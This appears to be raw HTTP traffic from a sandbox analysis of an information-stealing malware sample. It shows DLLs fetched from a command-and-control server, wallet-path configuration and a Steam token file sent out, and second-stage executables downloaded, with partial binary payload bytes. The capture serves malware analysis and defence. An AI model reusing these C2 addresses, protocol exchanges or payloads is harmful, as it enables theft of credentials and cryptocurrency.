Aug 28, 2024 22:55:12.109194040 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 28, 2024 22:55:12.371396065 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 28, 2024 22:55:12.624413013 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 28, 2024 22:55:12.822205067 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 28, 2024 22:55:13.021436930 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFH Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:13.377283096 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:13.403615952 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="message"wallets------EGDBFIIECBGDGDGDHCAK--
Aug 28, 2024 22:55:13.582866907 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 28, 2024 22:55:13.586021900 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEH Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="message"files------JDGCGHCGHCBFHJJKKJEH--
Aug 28, 2024 22:55:13.764487028 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:13.775427103 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHI Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCFCFHJDBKJKEBFHJEHIContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------HCFCFHJDBKJKEBFHJEHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HCFCFHJDBKJKEBFHJEHIContent-Disposition: form-data; name="file"------HCFCFHJDBKJKEBFHJEHI--
Aug 28, 2024 22:55:14.007910013 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:14.010313034 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="message"ybncbhylepme------IDHIIJJJKEGIDGCBAFIJ--
Aug 28, 2024 22:55:14.234968901 CEST	399	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 172 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 30 4e 79 34 30 4e 53 34 30 4e 43 34 78 4d 44 51 76 63 48 4a 76 5a 79 38 32 4e 6d 4e 6d 4f 44 45 34 4d 54 55 32 4d 54 6b 7a 58 32 78 6b 61 6d 5a 75 63 32 5a 6b 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 59 32 59 33 4e 57 51 7a 4e 7a 6b 78 5a 44 64 66 64 6e 4a 6c 64 33 46 6e 63 53 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 52 38 Data Ascii: aHR0cDovLzE0Ny40NS40NC4xMDQvcHJvZy82NmNmODE4MTU2MTkzX2xkamZuc2ZkLmV4ZXwwfDB8U3RhcnR8NHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2Y2Y3NWQzNzkxZDdfdnJld3FncS5leGV8MHwwfFN0YXJ0fDR8
Aug 28, 2024 22:55:15.965085983 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJDBAEHIJKJKEBFIEGH Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 2d 2d 0d 0a Data Ascii: ------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJJDBAEHIJKJKEBFIEGH--
Aug 28, 2024 22:55:16.370594025 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49710	147.45.44.104	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 22:55:14.243360996 CEST	95	OUT	GET /prog/66cf818156193_ldjfnsfd.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 28, 2024 22:55:14.881964922 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:14 GMT Content-Type: application/octet-stream Content-Length: 328232 Last-Modified: Wed, 28 Aug 2024 19:58:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66cf8181-50228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 56 81 cf 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d4 04 00 00 06 00 00 00 00 00 00 5e f2 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 b7 52 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 f2 04 00 53 00 00 00 00 00 05 00 42 02 00 00 00 00 00 00 00 00 00 00 00 dc 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 d0 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVf^ @ @R`SB(& H.textd `.rsrcB@@.reloc @B@H8\|~0B~fc8u &rK"Y`_BwoRXc`(onE5L`sB&3jmc 1XzkHmJ[_sNOW/M3ez:7Iy7L9o 1;%nz4WlEn#7N:vMICk}f8\xq+_wu!bZxB8y-]C45k2-5PN!W%mJ'pV$8w6Hps\|;
Aug 28, 2024 22:55:14.881978989 CEST	224	IN	Data Raw: ec e3 29 e3 ec 86 07 48 39 09 51 b6 28 56 2c f4 5b 6e 4d b4 e3 ad 6e d9 b5 67 99 4e 67 bc 1f 05 63 a6 43 47 c3 27 d7 68 93 34 85 8c d1 7f a0 7b dc 81 e4 48 cd b1 2d 60 cc 00 c9 e5 c1 13 3d 3a 08 1c bc f9 46 31 c1 66 3f 34 77 f2 b8 57 99 c8 a8 57 Data Ascii: )H9Q(V,[nMngNgcCG'h4{H-`=:F1f?4wWW0M'mzm@+\Z^!w6Ns;JlgalC1SAJML,Z@C"ZY'tWwLZ=a?NJ 7O
Aug 28, 2024 22:55:14.881995916 CEST	1236	IN	Data Raw: ec 5f 1a 80 e0 7e 99 8a 0a bc c5 29 39 59 ca 53 0b 85 73 35 ff af 29 a7 f8 13 04 05 7a a8 da 44 f9 13 38 1e fc 77 a4 8c 8a c2 38 73 06 20 66 71 04 fe 81 b1 4f ac 3b 4c 15 c3 8f 1a a9 83 b0 d7 93 af 89 95 00 6b 32 e1 ed aa 98 31 8e de 45 7c 69 00 Data Ascii: _~)9YSs5)zD8w8s fqO;Lk21E\|i9r=5s#O]'C;{C;fz]}UyBJ*``D$}c1rwXB,8&t5nUXvpJob=FzmY4(MrY@ofL8S$
Aug 28, 2024 22:55:14.882008076 CEST	1236	IN	Data Raw: 6e d9 95 87 b6 d8 55 cf fd 67 da cc b2 f4 10 37 f0 d7 d3 64 a8 ba c4 5d a9 44 12 0c 17 f9 8c e2 e8 29 ae a7 8b f2 8f 30 4d 59 6b 08 86 33 b2 f9 0b 54 d0 e6 c4 f7 1f 03 76 df 9a 66 ca 26 41 f7 f0 05 c9 5c be f7 8d db 7f 5c 43 3d f9 7b ce 92 30 f1 Data Ascii: nUg7d]D)0MYk3Tvf&A\\C={0)k7gbl1:S?Ie2gPHI8B\|9R_XpTLT8nRN&8`~B4*V7\[47^JGNZ3.9Rhw#eRTfF[<b{
Aug 28, 2024 22:55:14.882020950 CEST	1236	IN	Data Raw: 94 c7 91 2d f3 95 09 1f aa 51 bc d8 b7 a7 2c 3a d6 12 2a 55 c8 e8 a8 f6 c1 0e b7 ce 19 c3 e6 81 1b ae 3b d7 7a 74 d8 3b e4 45 b5 ab bc 8e bf 64 1c 43 79 d6 32 c7 22 73 48 8a 56 88 18 99 a4 da 3c b3 b7 09 72 bb 04 8f 86 c6 8a 6d 6d a9 28 07 ef 8d Data Ascii: -Q,:*U;zt;EdCy2"sHV<rmm(rT'Z\|W}r-B@9W-DmWQwIlA1Pfk\|5[[LI.q7;'v/iyhgif6d(oe%s(_
Aug 28, 2024 22:55:14.882034063 CEST	1236	IN	Data Raw: df 8c 2d 58 6f e7 be 3d 20 63 cb e1 79 83 ba c9 ba ab be bc fb 65 8f d2 9d 45 af 82 6c 48 b9 13 29 c6 ab 60 6f 39 b6 a6 4b c0 53 9b ce e1 3d 8f 52 33 f1 03 03 42 38 ae f6 d9 f0 8e d2 34 77 fe 25 f3 f7 d9 a6 9e 98 68 81 37 25 55 c4 45 d9 c1 81 bb Data Ascii: -Xo= cyeElH)`o9KS=R3B84w%h7%UE/6P#x(7sb<larF?31;Ssd:3:$$)1_W3ldn%{F[[9E],:~I%)R[9D$t=GZ]EZE6`2#\|Hn
Aug 28, 2024 22:55:14.882045031 CEST	1236	IN	Data Raw: b3 a0 7d 60 b1 a2 4e ff ee 9d 20 66 de e1 72 05 25 94 db b3 aa 72 e9 7d 1d 88 6d 47 c0 74 bd 82 9a b8 b7 8f a9 ab cb 52 5b 18 27 02 0a ba 86 a6 77 50 41 71 d9 2f ab f2 04 d5 2d f8 34 eb 9f 14 f1 45 23 1f 6d ff 45 22 fd e5 07 56 df 4a 87 40 cf 48 Data Ascii: }`N fr%r}mGtR['wPAq/-4E#mE"VJ@HT,uk+iP,on6&fI"r[+X?!_1R$;olL[M}QDM9t&If[pLb%ka+kd7XtK0XC^#\3.
Aug 28, 2024 22:55:14.882055044 CEST	552	IN	Data Raw: bd f4 ef 84 fb 4e e5 5e 93 f4 10 42 87 be 9d f6 65 e8 90 2c 6e 8f 04 f8 80 f1 e7 cd 95 31 07 f6 85 83 77 e4 49 03 7e ef dc 7b d5 18 cb ef 34 02 fc 5c b6 51 c0 62 c2 01 07 91 6e b6 1d ee 74 1c a9 d5 ca 2f 9d 59 b9 f6 51 e4 0d 5b 98 2f 8c ad cf 2e Data Ascii: N^Be,n1wI~{4\Qbnt/YQ[/.:%~fk\+Jp[gwZq_Ll>+R%X!25Lf: /M/`)D,{q%UPvT=#:W=+vgY/On M3s[(z'Z^i}wM
Aug 28, 2024 22:55:14.882066011 CEST	1236	IN	Data Raw: 19 6b ab 59 83 f7 de 15 86 c7 b5 c0 1d b5 34 3b ee 45 d5 df 38 e3 d2 44 bd 1f e5 14 1c c7 cf 29 03 f1 f0 5e 06 d9 45 29 0d aa 07 bd 3c 6b d3 51 16 25 b9 89 9b ec ac 68 45 1c 73 16 fe 9b 46 45 7b 90 45 6b 37 64 17 c4 9a 91 bb e0 45 6e 77 9d 37 1d Data Ascii: kY4;E8D)^E)<kQ%hEsFE{Ek7dEnw7/xrV&q4M6me<}")z@E\c65zHnDV&a]<e$iTfi\k7pX{x9'??Q.>_:u60Y""fe6.cF_\
Aug 28, 2024 22:55:14.882078886 CEST	1236	IN	Data Raw: a9 54 89 94 18 f5 96 a9 c0 98 ea 3b bb 22 c0 69 c3 76 05 28 61 f8 9e 2a 14 b4 45 90 99 a4 16 62 f3 9e 1b b8 bd 95 d8 44 02 45 6f 35 36 85 b6 15 54 e0 e5 8e 32 01 0f c5 95 cf 30 90 93 26 12 68 2d ac eb c0 31 49 88 65 b5 22 24 c5 e4 fa 02 83 fc af Data Ascii: T;"iv(a*EbDEo56T20&h-1Ie"$"S)f<0^as$NC==U,nLJ-Q5t w\|,iIsUnnM]z_'\:-YX":l@>XeNZYzM\Cm
